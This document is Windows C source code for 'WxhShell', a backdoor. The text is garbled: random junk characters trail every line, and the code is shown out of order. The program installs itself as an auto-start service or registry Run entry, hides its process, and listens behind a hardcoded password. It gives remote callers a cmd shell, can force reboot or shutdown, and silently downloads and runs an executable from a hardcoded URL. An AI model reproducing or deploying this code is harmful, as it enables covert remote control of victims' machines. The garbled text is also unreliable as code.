    ExitThread(0); ^Jsx^?  
    } jt=mK ,%  
    break; q>o1kTI  
    } 1i^!A&  
  // 关机 !fZ{ =  
  case 'd': { XwE(&ZCf'b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .@.O*n#K  
    if(Boot(SHUTDOWN)) >>F E?@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;sebqC?  
    else { $hn #T#J3  
    closesocket(wsh); 4*G#fW-  
    ExitThread(0); Mp}aJzmkB;  
    } j^mAJ5  
    break; YN.rj-;^+  
    } L+(5`Y  
  // 获取shell Vw<=& w#K  
  case 's': { 9<G-uF  
    CmdShell(wsh); &0+;E-_  
    closesocket(wsh); M&:[3u-  
    ExitThread(0); Ihw^g <X  
    break; nsuK{8}@  
  } H Y\-sl^  
  // 退出 S:+SZq  
  case 'x': { }p]8'($  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DO8@/W( `  
    CloseIt(wsh); QI.{M$,m~  
    break; OpW4@le_r  
    } 9)];l?l  
  // 离开 +MvcW.W~  
  case 'q': { [ ;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ( Y'q%$  
    closesocket(wsh); AKzhal!  
    WSACleanup(); :Fm;0R@/k  
    exit(1); .|G([O^H  
    break; vB hpD  
        } QcU&G*   
  } u|BD=4*  
  } *G7/  
)!s f@F?  
  // 提示信息 iLIH |P%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i<m1^a#C'  
} ZQlja  
  } rB}Iwp8  
Lf4c[[@%gd  
  return; [z'PdYQR/{  
} wi|'pKG  
I'Ui` :A  
// shell模块句柄 -iLp3m<ai  
int CmdShell(SOCKET sock) -hZlFAZi  
{ 9nu!|reS  
STARTUPINFO si; &Egw94l  
ZeroMemory(&si,sizeof(si)); 2"cUBFc1I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; om@GH0o+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z@4 BTA  
PROCESS_INFORMATION ProcessInfo; 'avzESe~'  
char cmdline[]="cmd"; | :7O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IlJ!jq  
  return 0; nYhI0q  
} W|XW2`3p  
7O',X Y  
// 自身启动模式 8eCC =Az:  
int StartFromService(void) UFr ]$m&  
{ qRlS^=#  
typedef struct >> yK_yg  
{ F%Oy4*4  
  DWORD ExitStatus; yr8 b?m.x  
  DWORD PebBaseAddress; ]q~ _  
  DWORD AffinityMask; G6]W'Kk  
  DWORD BasePriority; pN|BtrN{  
  ULONG UniqueProcessId; =4+Wx8ZeW  
  ULONG InheritedFromUniqueProcessId; :08b&myx  
}   PROCESS_BASIC_INFORMATION; l|TiUjs  
6jyS]($q  
PROCNTQSIP NtQueryInformationProcess; [CTE"@A  
2#%@j6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >1q W*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'M8wjU  
us%dw&   
  HANDLE             hProcess; 2l^hnog|  
  PROCESS_BASIC_INFORMATION pbi; VJviX[V?4  
F6^Xi"R[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _=!R l#  
  if(NULL == hInst ) return 0; #29m <f_n  
_ `5?/\7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $2I^ ;5r[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4BF \- lq~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L+VqTt  
W/e6O??O  
  if (!NtQueryInformationProcess) return 0; ~U"puEftbs  
G(joamfM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'b1k0 9'  
  if(!hProcess) return 0; StZ GKY[Q  
mu`:@7+Yp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Esx"nex  
X0G6W p  
  CloseHandle(hProcess); >8%<ML  
\zOo[/-<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~gZ"8frl  
if(hProcess==NULL) return 0; K{DsGf ,  
Cb:}AQ=  
HMODULE hMod; 2aj9:S  
char procName[255]; .Y`;{)  
unsigned long cbNeeded; Ix~_.&  
Lh`B5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \MhSIlM#  
,, S]_S  
  CloseHandle(hProcess); F%|F-6  
PiQs Vk  
if(strstr(procName,"services")) return 1; // 以服务启动 my|]:(_0d  
DD$YMM  
  return 0; // 注册表启动 F{,<6/ayRz  
} E^'f'\m  
y(81| c#  
// 主模块 b~oQhU??"  
int StartWxhshell(LPSTR lpCmdLine) -]hk2Q0  
{ X"hdCY%  
  SOCKET wsl; pb8sx1.j;  
BOOL val=TRUE; 9feVy\u  
  int port=0; _`|te|ccF  
  struct sockaddr_in door; }(MI}o}  
qK=uSL o\+  
  if(wscfg.ws_autoins) Install(); nev@ykP6  
o,(]w kF  
port=atoi(lpCmdLine); cl,\N\  
+q<G%PwbV  
if(port<=0) port=wscfg.ws_port; E]@$,)nC  
%mF:nU4  
  WSADATA data; *.F^`]yz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 >}x9D  
b9Fd}WZz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X>-|px$vy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ."X}A t  
  door.sin_family = AF_INET; xOY %14%Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t,P_&0X  
  door.sin_port = htons(port); mc FSWmq  
p<[gzmU9\b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E^K<b7  
closesocket(wsl); \mo NpKf  
return 1; B r`a;y T  
} (D5sJ$&E@\  
cVb&Jzd  
  if(listen(wsl,2) == INVALID_SOCKET) { b aO ^Z  
closesocket(wsl); UA0j#  
return 1; O-uno{Fd*  
} (g HCu  
  Wxhshell(wsl); ^osXM`  
  WSACleanup(); $:l>g)c  
v^0*{7N'  
return 0; =%=lq0GF0  
&hnI0m=X  
} KA#P_e{<@  
Sdo mG?;kV  
// 以NT服务方式启动 NoAgZ{))  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WgTD O3  
{ od=x?uBVd  
DWORD   status = 0; _A/q bm  
  DWORD   specificError = 0xfffffff; r `;_ #&b  
a]S0|\BkN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ovXU +8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K`vc&uf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d94 Le/E  
  serviceStatus.dwWin32ExitCode     = 0; tg~@(IT}j  
  serviceStatus.dwServiceSpecificExitCode = 0; nhdOo   
  serviceStatus.dwCheckPoint       = 0; >))f;$D=  
  serviceStatus.dwWaitHint       = 0; /XVjcD66c  
y3+iADo.p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L ^E#"f  
  if (hServiceStatusHandle==0) return; QKB*N)%6  
cfZ$V^xM  
status = GetLastError(); m8ApiGG  
  if (status!=NO_ERROR) ATG;*nIP  
{ E3vYVuw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {9 .sW/  
    serviceStatus.dwCheckPoint       = 0; 3xX ^pjk  
    serviceStatus.dwWaitHint       = 0; :5W8S6[o  
    serviceStatus.dwWin32ExitCode     = status; VzTHW5B  
    serviceStatus.dwServiceSpecificExitCode = specificError; /$=<"Y7&g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb!Fv W  
    return; T1*%]6&V|  
  } &# < M o  
G^%FP!'D?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G2y`yg  
  serviceStatus.dwCheckPoint       = 0; ? h |&kRq  
  serviceStatus.dwWaitHint       = 0; 6k9cvMs%H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hy~+|hLvh  
} Rt+ak}  
8 \BGL  
// 处理NT服务事件,比如:启动、停止 @{q:179w^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N|5fkx<d^  
{ CqVeR';2  
switch(fdwControl) Wc HL:38  
{ y>! 8mDvZ  
case SERVICE_CONTROL_STOP: Rp0`%}2 o  
  serviceStatus.dwWin32ExitCode = 0; asc Y E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,j!%,!n o  
  serviceStatus.dwCheckPoint   = 0; cp_<y)__  
  serviceStatus.dwWaitHint     = 0; Q8Fqf ;4  
  { $a#-d;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fm#`}K_  
  } T0e- X  
  return; f`vu+nw  
case SERVICE_CONTROL_PAUSE: sS{!z@\Lf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M 8NWQ^Y  
  break; 4.e0k<]N`  
case SERVICE_CONTROL_CONTINUE: %y|L'C,ge"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1=L5=uz1d:  
  break; MUW&m2  
case SERVICE_CONTROL_INTERROGATE: 0&$,?CL?  
  break; vrq5 +K&||  
}; /6{P ?)]pE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /g)(  
} +R2+?v6  
<N(r -  
// 标准应用程序主函数 >[0t@Tu,D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :\F1S:&P  
{ b!4Z~d0=  
f2iA5 rCV]  
// 获取操作系统版本 #V$h?`qhwr  
OsIsNt=GetOsVer(); 7!g"q\s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K0fuN)C  
snicVzvA  
  // 从命令行安装 1smKU9B2)  
  if(strpbrk(lpCmdLine,"iI")) Install(); BVzMgn;  
<~teD[1k"  
  // 下载执行文件 _Kwp8_kTr  
if(wscfg.ws_downexe) { s H(io  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]|_UpP8EP  
  WinExec(wscfg.ws_filenam,SW_HIDE); =/e$Rp  
} +~n4</  
3lsfT-|Wt&  
if(!OsIsNt) { cH:9@>'$a  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qf($F,)K  
HideProc(); gwyX%9  
StartWxhshell(lpCmdLine); - !QVM\t  
} ;DgQ8"f  
else =Cc]ugl7-  
  if(StartFromService()) EC/=JlL`5  
  // 以服务方式启动 gvFs$X*^:  
  StartServiceCtrlDispatcher(DispatchTable); e'|IRhr  
else zQ#2BOx1  
  // 普通方式启动 6L<QKE=  
  StartWxhshell(lpCmdLine); %Y-5L;MI  
$d*PY_  
return 0; HChlkj'7w0  
} d6e$'w@(\T  
M2Jb<y]  
hem>@Bp'V  
B:96E&  
=========================================== 7{lWg x  
: "^/?Sd  
kx,3[qe'S  
%v4*$E!f  
DX_?-jw})f  
VA5f+c/ %  
" WBWIHv{j  
1hY%Zsj C  
#include <stdio.h> &~:+2  
#include <string.h> 4^Og9}bm  
#include <windows.h> Z+Cjg #+  
#include <winsock2.h> _BoYy JQH  
#include <winsvc.h> z?n6l7sH  
#include <urlmon.h> pIHpjx  
` >loleI  
#pragma comment (lib, "Ws2_32.lib") 0TaN#  
#pragma comment (lib, "urlmon.lib") gsY Q"/S9  
k$|g)[RE  
#define MAX_USER   100 // 最大客户端连接数 Y|6gg  
#define BUF_SOCK   200 // sock buffer ?c<uN~fC=  
#define KEY_BUFF   255 // 输入 buffer SUDvKP  
WP{U9YF2  
#define REBOOT     0   // 重启 9aBz%* xo  
#define SHUTDOWN   1   // 关机 N~ajrv}kd  
b}&.IJ&40j  
#define DEF_PORT   5000 // 监听端口 /@64xrvIl=  
3 MCV?"0  
#define REG_LEN     16   // 注册表键长度 $ {e5Ka  
#define SVC_LEN     80   // NT服务名长度 biG :Xn  
3BSZz%va  
// 从dll定义API }wZsM[NDB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :JU$ 6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; +1ooeU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2^%O%Pc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S$=caZ?  
J1w,;T\55  
// wxhshell配置信息 seVT| z  
struct WSCFG { }.1}yz^y  
  int ws_port;         // 监听端口 +;,X?E]g  
  char ws_passstr[REG_LEN]; // 口令 %\L{Ud%7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5+2qx)FZ  
  char ws_regname[REG_LEN]; // 注册表键名 :F_>`{  
  char ws_svcname[REG_LEN]; // 服务名 ^Y%<$IFG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6_&S ?yA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "E@A~<RKP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  z31g"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nRyx2\Py+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yeam-8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LrT? ]o  
'Ck:=V%}g  
}; LLL;SNY  
?<rZ9$  
// default Wxhshell configuration T$sm}=  
struct WSCFG wscfg={DEF_PORT, biZ=TI2P,L  
    "xuhuanlingzhe", H43d[@h  
    1, Z<*"sFpAO  
    "Wxhshell", /9,y+"0SQz  
    "Wxhshell", gnYo/q=K  
            "WxhShell Service", MEu{'[C  
    "Wrsky Windows CmdShell Service", ++eT 0  
    "Please Input Your Password: ", u2IU/z8 ^  
  1, E#Ol{6  
  "http://www.wrsky.com/wxhshell.exe", Y$#6%`*#>n  
  "Wxhshell.exe" O^q~dda  
    }; T*g}^TEh  
9 e|[9  
// 消息定义模块 ] &SmeTe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Yx2q_KZk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !DUOi4I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3a&HW JBSx  
char *msg_ws_ext="\n\rExit."; 4aKppj  
char *msg_ws_end="\n\rQuit."; FOteN QTj  
char *msg_ws_boot="\n\rReboot..."; \t%iUZ$  
char *msg_ws_poff="\n\rShutdown..."; '#>Fe`[  
char *msg_ws_down="\n\rSave to "; `.Zm}'  
1,7 }ah_  
char *msg_ws_err="\n\rErr!"; <rvM)EJv|  
char *msg_ws_ok="\n\rOK!"; hkRqtpYK  
OdO n wY  
char ExeFile[MAX_PATH]; /([a%,DI  
int nUser = 0; v4K! BW  
HANDLE handles[MAX_USER]; WM%w_,Z  
int OsIsNt; #xfav19{.  
EnmMFxu<  
SERVICE_STATUS       serviceStatus; qDqy9u:g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +~|Jn_:A f  
G.$KP  
// 函数声明 fQ1Dp  
int Install(void); e}n(mq  
int Uninstall(void); mmG]|Cl@  
int DownloadFile(char *sURL, SOCKET wsh); F8#MI G   
int Boot(int flag); Vvp{y  
void HideProc(void); I2-ue 63 ?  
int GetOsVer(void); KEdqA/F>  
int Wxhshell(SOCKET wsl); 7H|0.  
void TalkWithClient(void *cs); 4l>U13~#  
int CmdShell(SOCKET sock); Z|fi$2k0!  
int StartFromService(void); 'blMwD{0&\  
int StartWxhshell(LPSTR lpCmdLine); AAqfp/DC  
B%`| W@v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .V\~#Ro$G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hi4-Z=pl  
76] Z~^Y  
// 数据结构和表定义 ^=a:{["@!  
SERVICE_TABLE_ENTRY DispatchTable[] = A-d<[@d0  
{ Z78i7k}  
{wscfg.ws_svcname, NTServiceMain}, Sy]W4%  
{NULL, NULL} #s ' `bF^  
}; 2bG92  
FS!9 j8  
// 自我安装 stMxlG"d  
int Install(void) tc{l?7P  
{ Ov4=!o=  
  char svExeFile[MAX_PATH]; @$Yk#N;&(  
  HKEY key; {NcJL< ;tS  
  strcpy(svExeFile,ExeFile); VbTX;?  
~*J <lln  
// 如果是win9x系统,修改注册表设为自启动 Dm$SW<!l|  
if(!OsIsNt) { 4.Fh4Y:$'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { um%s9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '+ mI  
  RegCloseKey(key); atW^^4 :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t~)4f.F:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nE?:nJ|%E  
  RegCloseKey(key); WncHgz  
  return 0; f,|;eF-Z  
    } \Ui8gDJ8y5  
  } )T?BO  
} OH@gwC  
else { 2Nx:Y+[  
-SLk8x  
// 如果是NT以上系统,安装为系统服务 _zzT[}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6`%|-o :  
if (schSCManager!=0) LpI4R  
{ %%I:L~c  
  SC_HANDLE schService = CreateService N"tX K  
  (  DZ4gp  
  schSCManager, 9Y2.ob!$}  
  wscfg.ws_svcname, y+=s/c  
  wscfg.ws_svcdisp, +>AVxV=A#  
  SERVICE_ALL_ACCESS, K>5 bb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F_i"v5#  
  SERVICE_AUTO_START, hN*v|LFf1  
  SERVICE_ERROR_NORMAL, _|4QrZ$n(  
  svExeFile, .r&CIL >  
  NULL, 9V~hz (^  
  NULL, IwS<p -  
  NULL, h?h)i>  
  NULL, q&O9W?E8dG  
  NULL !)CY\c4}d>  
  ); f3^qO9R  
  if (schService!=0) SUIu.4Mz  
  { f:y:: z  
  CloseServiceHandle(schService); GT80k]e.  
  CloseServiceHandle(schSCManager); B.smQt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MRZN4<}9  
  strcat(svExeFile,wscfg.ws_svcname); ZsCwNZR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4E}Q<?UYSt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b|G~0[g  
  RegCloseKey(key); :7X{s4AU6  
  return 0; Vq/hk  
    } 1|s` z  
  } 0v6Z 4Ahpo  
  CloseServiceHandle(schSCManager); ;8 *"c  
} ;CoD5F!  
} T00sYoK  
~IPATG  
return 1; {X<_Y<  
} ;Jb% 2?+=!  
PMX'vA`  
// 自我卸载 m(dW["8D  
int Uninstall(void) fZS'e{V  
{ keKsLrd  
  HKEY key; <0m^b#hdG  
>WJQxL4  
if(!OsIsNt) { }6 u)wF5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wuxOFlrg  
  RegDeleteValue(key,wscfg.ws_regname); r+6 DlT a  
  RegCloseKey(key); @3 +   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q4'`qe  
  RegDeleteValue(key,wscfg.ws_regname); ??|,wIRz  
  RegCloseKey(key); ^^24a_+2  
  return 0; d_f*'M2Gv  
  } (&V)D?/hS  
} |Q@(<'8=  
} ftRdK>a D  
else { =Lb(N61  
/UY'E<wBx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BT^=p  
if (schSCManager!=0) nB[B FVkU  
{ 0S }\ML  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4PR&67|AH_  
  if (schService!=0) V?>&9D"m  
  { MSp) Jc  
  if(DeleteService(schService)!=0) { F x$W3FIO]  
  CloseServiceHandle(schService); YACx9K H  
  CloseServiceHandle(schSCManager); blP8"(U  
  return 0; NXz/1ut%  
  }  BPKrRex  
  CloseServiceHandle(schService); >{A)d<  
  } D5xTuv9T  
  CloseServiceHandle(schSCManager); iCGHcN^3  
} !Htl e %  
} Jy[rA<x$  
P1]F0fR  
return 1; $]W*;MTI}  
} &uV|Ie8@q  
jROh3kq  
// 从指定url下载文件 X4Uy3TV>  
int DownloadFile(char *sURL, SOCKET wsh) ^vzXT>t-M  
{ [Z;H= `  
  HRESULT hr; jaVx9FR +  
char seps[]= "/"; U[q39FR  
char *token; 1N { >00  
char *file; h+cOOm-)  
char myURL[MAX_PATH]; VP?Q$?a  
char myFILE[MAX_PATH]; a^X% (@Sg  
Nv=%R  
strcpy(myURL,sURL); y 1Wb/ d  
  token=strtok(myURL,seps); \q^ dhY>)  
  while(token!=NULL) 4(Y-TFaf  
  { (Hmhb}H  
    file=token; y]!mN  
  token=strtok(NULL,seps); =%u=ma;  
  } yFDt%&*n^  
naeppBo  
GetCurrentDirectory(MAX_PATH,myFILE); X 3XTB*  
strcat(myFILE, "\\"); onS4ZE3B  
strcat(myFILE, file); *13-)yfd  
  send(wsh,myFILE,strlen(myFILE),0); up~p_{x)Q  
send(wsh,"...",3,0); 5g'aNkF6>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N[DKA1Ei  
  if(hr==S_OK) gF;C% }  
return 0; Ly1t'{"7  
else Q'j00/K  
return 1; 46 |LIc }  
=NPo<^Lae  
} h ^w# I  
S3QX{5t\  
// 系统电源模块 !HW?/-\,O  
int Boot(int flag) O-~cj7 0\  
{ MRK3Cey}%  
  HANDLE hToken; OKj\>3  
  TOKEN_PRIVILEGES tkp; 62[_u]<Yub  
6pZ/C<Y|W  
  if(OsIsNt) { 6$csFW3R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X&@>M}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wLg@BSC.  
    tkp.PrivilegeCount = 1; n^|7ycB'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z%SDN"+'g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fq):'E)  
if(flag==REBOOT) { bQu@.'O!k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bZ+H u~  
  return 0; N~(?g7  
} _PP-'^ U  
else { 8p/&_<mnW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hsI9{j]f  
  return 0; 5fp&!HnG  
} vv`53 Pbw)  
  } ;jlI>;C;V  
  else { 2e({%P@2?  
if(flag==REBOOT) { aLQ]2m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Pd)  
  return 0; u 1Wixjd|  
} H~0B5Hl!F  
else { =RlAOgJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gA2]kZg  
  return 0; )Oj{x0{\Q  
} sX`by\s,  
} ,twm)%caU  
G49`a*Jn  
return 1; !4$o*{9Lx:  
} "T>;wyGW  
}\W^$e-  
// win9x进程隐藏模块 /AUX7 m.8  
void HideProc(void) ? 8S~R  
{ VlxHZ  
edlsS}8^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UGA` `;f  
  if ( hKernel != NULL ) i/,IG+4vI  
  { 2rS`ViicD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CraD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <2^ F'bQV  
    FreeLibrary(hKernel); x!?$y_t  
  } 0j' Xi_uM  
Y1{*AV6ev6  
return; 5d)\Z0s  
}  ` EVy  
{iTA=\q2O  
// 获取操作系统版本 5F1P|t#  
int GetOsVer(void) M,DwBEF?  
{ 4zqO!nk  
  OSVERSIONINFO winfo; u#$sO;8s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "z{ rC}  
  GetVersionEx(&winfo); KU.F4I8}q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w?R#ly  
  return 1; aR%E"P-6l  
  else QY1|:(  
  return 0; "^VPe[lA  
} (<Kf  
q]P$NeEiZ"  
// 客户端句柄模块 }>'1Qg  
int Wxhshell(SOCKET wsl) E*}1_,q)  
{ C4eQ.ep  
  SOCKET wsh; /nNrvMt v  
  struct sockaddr_in client; ;n/04z  
  DWORD myID; )zo:Bo .<  
R]TS5b-  
  while(nUser<MAX_USER) ?!n0N\|i]  
{ mGc i >)2  
  int nSize=sizeof(client); 9?+?V}o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sfffm$H  
  if(wsh==INVALID_SOCKET) return 1; [nB4s+NX  
QG;V\2T2[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!RgQwEak  
if(handles[nUser]==0) 7JLjA\k  
  closesocket(wsh); |6Qn/N$+f  
else a]?o"{{+  
  nUser++; +J2;6t  
  } T<u QhPMw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1u_< 1X3  
"pQ) 5/e  
  return 0; F{ sPQf'  
} dpB\=  
x I(X+d``  
// 关闭 socket Y;>D"C..  
void CloseIt(SOCKET wsh) j55OG~)  
{ <USr$  
closesocket(wsh); z_t%n<OvK  
nUser--; * o#P)H  
ExitThread(0); [^\HP] *Q{  
} _4X3g%nXl  
-AM(-  
// 客户端请求句柄 !u=A9i!  
void TalkWithClient(void *cs) ac/<N%  
{ 4+B OS ~  
^ZDpG2(zk  
  SOCKET wsh=(SOCKET)cs; $ I|K<slV  
  char pwd[SVC_LEN]; d0G d5%  
  char cmd[KEY_BUFF]; T1YbF/M'  
char chr[1]; KO=H!Em\l  
int i,j; Kbqx)E$iL  
D+CP?} /  
  while (nUser < MAX_USER) { b%UbTb,  
k6^!G"  
if(wscfg.ws_passstr) { eq7>-Dmi@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jmn<gJ2Of  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8'0I$Qa4  
  //ZeroMemory(pwd,KEY_BUFF); Ab:+AC5{  
      i=0; YiTVy/  
  while(i<SVC_LEN) { -X,[NI3  
L~&r.81  
  // 设置超时 h0zv @,u  
  fd_set FdRead; ,qK3 3Bn  
  struct timeval TimeOut; Qjd<%!]+\  
  FD_ZERO(&FdRead); /fC8jdp&  
  FD_SET(wsh,&FdRead); i-`J+8|d  
  TimeOut.tv_sec=8; > ZKHjw  
  TimeOut.tv_usec=0;  [?moS!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1YvE/<6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L(_bf/ @3  
ac#I $V-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VK^m]??s_  
  pwd=chr[0]; ?m:,hI  
  if(chr[0]==0xd || chr[0]==0xa) { 75*q^ui  
  pwd=0; # 4;(^`?  
  break; 9=p/'d8  
  } 0z`-fQfK  
  i++; ^(T_rEp  
    } ;;7: l,vy  
d\j[O9W>  
  // 如果是非法用户,关闭 socket Tu_4kUCR!f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^y<8 &ZFH  
} 6"u"B-cz  
TX$4x~:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :a'[ 4w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ae_:Kc6  
ExZ|_7^<  
while(1) { +`'>   
>4]y)df5  
  ZeroMemory(cmd,KEY_BUFF); [^ eQGv[S  
T6I$7F  
      // 自动支持客户端 telnet标准   raB', Vp  
  j=0; +`l)W`zX  
  while(j<KEY_BUFF) { 2HF_kYZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y3?)*kz%  
  cmd[j]=chr[0]; XSe\@t~&g  
  if(chr[0]==0xa || chr[0]==0xd) { &W$s-qf".  
  cmd[j]=0; &a?k1R>  
  break; @$!rgLyL[  
  } sJ5Ws%q  
  j++; J6RzN'j  
    } ,^uQw/  
Q> J9M` a  
  // 下载文件 }C<$q  
  if(strstr(cmd,"http://")) { 9UE)4*5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7~m[:Eg6[s  
  if(DownloadFile(cmd,wsh)) v)%0`%nSR  
